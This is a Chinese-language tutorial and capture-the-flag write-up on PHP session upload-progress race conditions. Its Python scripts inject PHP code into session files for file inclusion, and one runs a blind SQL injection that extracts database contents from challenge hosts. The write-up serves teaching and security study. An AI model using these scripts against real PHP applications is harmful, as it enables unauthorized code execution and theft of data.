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PHP Session條件競(jìng)爭(zhēng)超詳細(xì)講解

 更新時(shí)間：2022年12月14日 17:09:43   作者：偶爾躲躲烏云334  
這篇文章主要介紹了PHP Session條件競(jìng)爭(zhēng)，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)吧

PHP SESSION 的存儲(chǔ)

Session會(huì)話存儲(chǔ)方式

PHP將session以文件的形式存儲(chǔ)服務(wù)器的文件中，session.save_path來控制

默認(rèn)路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID 

session文件默認(rèn)是/var/lib/php/sessions目錄下，文件名是sess_加上sessionID字段

但是在賽題中大多數(shù)都是/tmp目錄下，需要php.ini力sesion.auto_start設(shè)置為1，然后修改目錄

session.auto_start：如果開啟這個(gè)選項(xiàng)，則PHP在接收請(qǐng)求的時(shí)候會(huì)自動(dòng)初始化Session，不再需要執(zhí)行session_start()。但默認(rèn)情況下，也是通常情況下，這個(gè)選項(xiàng)都是默認(rèn)關(guān)閉的。

session.upload_progress.cleanup = on：表示當(dāng)文件上傳結(jié)束后，php將會(huì)立即清空對(duì)應(yīng)session文件中的內(nèi)容。該選項(xiàng)默認(rèn)開啟

session.use_strict_mode：默認(rèn)情況下，該選項(xiàng)的值是0，此時(shí)用戶可以自己定義Session ID。

使用 Python 實(shí)現(xiàn)創(chuàng)建 Session 文件的過程：

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid} //用來sesssion中的文件名  sess_whoami
    )
with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

這道題是文件包含，已經(jīng)包含過了一次flag.php，就不能二次包含了，一種方法是軟連接/proc/self/root繞過

/proc/self指向當(dāng)前進(jìn)程的/proc/pid/

/proc/self/root/是指向/的符號(hào)鏈接

這道題也可以 用條件競(jìng)爭(zhēng)進(jìn)行，

import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
 while True:
  f = io.BytesIO(b'a' * 1024 * 50)
  session.post(
  host,
  data={
 # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
  files={
  "file":('a.txt', f)},
  cookies={
   'PHPSESSID':sessid}//改名
    )
def READ(session):
 while True:
   response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路徑
# print(response.text)
   if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
      print('[+++]retry')
   else:
      print(response.text)
      sys.exit(0)
with requests.session() as session:
  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程
  t1.daemon = True  //相當(dāng)完成任務(wù)直接結(jié)束，不用等線程全部結(jié)束
  t1.start()
  READ(session)

線程結(jié)束后，想在網(wǎng)頁獲得php壞境頁面可是找不到，

希望有師傅解答一下，然后這樣就非常局限，

[PwnThyBytes 2019]Baby_SQL

訪問源碼，獲得source.zip

打開后發(fā)現(xiàn)index.php

<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

都要經(jīng)過最后的過濾，然后通過傳參p進(jìn)行包含templates目錄下面的文件

login.php

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

發(fā)現(xiàn)就login.php里面沒有過濾，然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出，前面的為true才執(zhí)行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執(zhí)行后面的語句。然后這里的意思前面有個(gè)大的括號(hào)里有一個(gè)滿足就會(huì)執(zhí)行$con->close(),然后這個(gè)執(zhí)行返回true的話就會(huì)執(zhí)行die(“Not allowed!”);

所以如果我們要直接訪問login.php進(jìn)行sql注入的話，還需要帶上一個(gè)session才行，這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標(biāo)服務(wù)器上初始化一個(gè)session，然后便可以繞過index.php中的檢測(cè)，直接訪問login.php進(jìn)行sql注入了。

import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//這個(gè)templates是因?yàn)閘ogin.php在這個(gè)目錄下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})通過這個(gè)接口，burp就可以抓包到
print(a.text)

然后對(duì)username進(jìn)行注入，發(fā)現(xiàn)是用"進(jìn)行閉合,然后回顯，可以用盲注實(shí)現(xiàn)

<meta http-equiv="refresh" content="0; url=?p=home" />

import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while (low < high):
        time.sleep(0.06)
        #payload_flag ={'username': "test\" or (ascii(substr((select 
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
        payload_flag = {
            'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"})
 
        print(payload_flag)
        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid +1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid==32 ):
        break
    flag +=chr(mid)
    print(flag)
print(flag)

到此這篇關(guān)于PHP Session條件競(jìng)爭(zhēng)超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP Session內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

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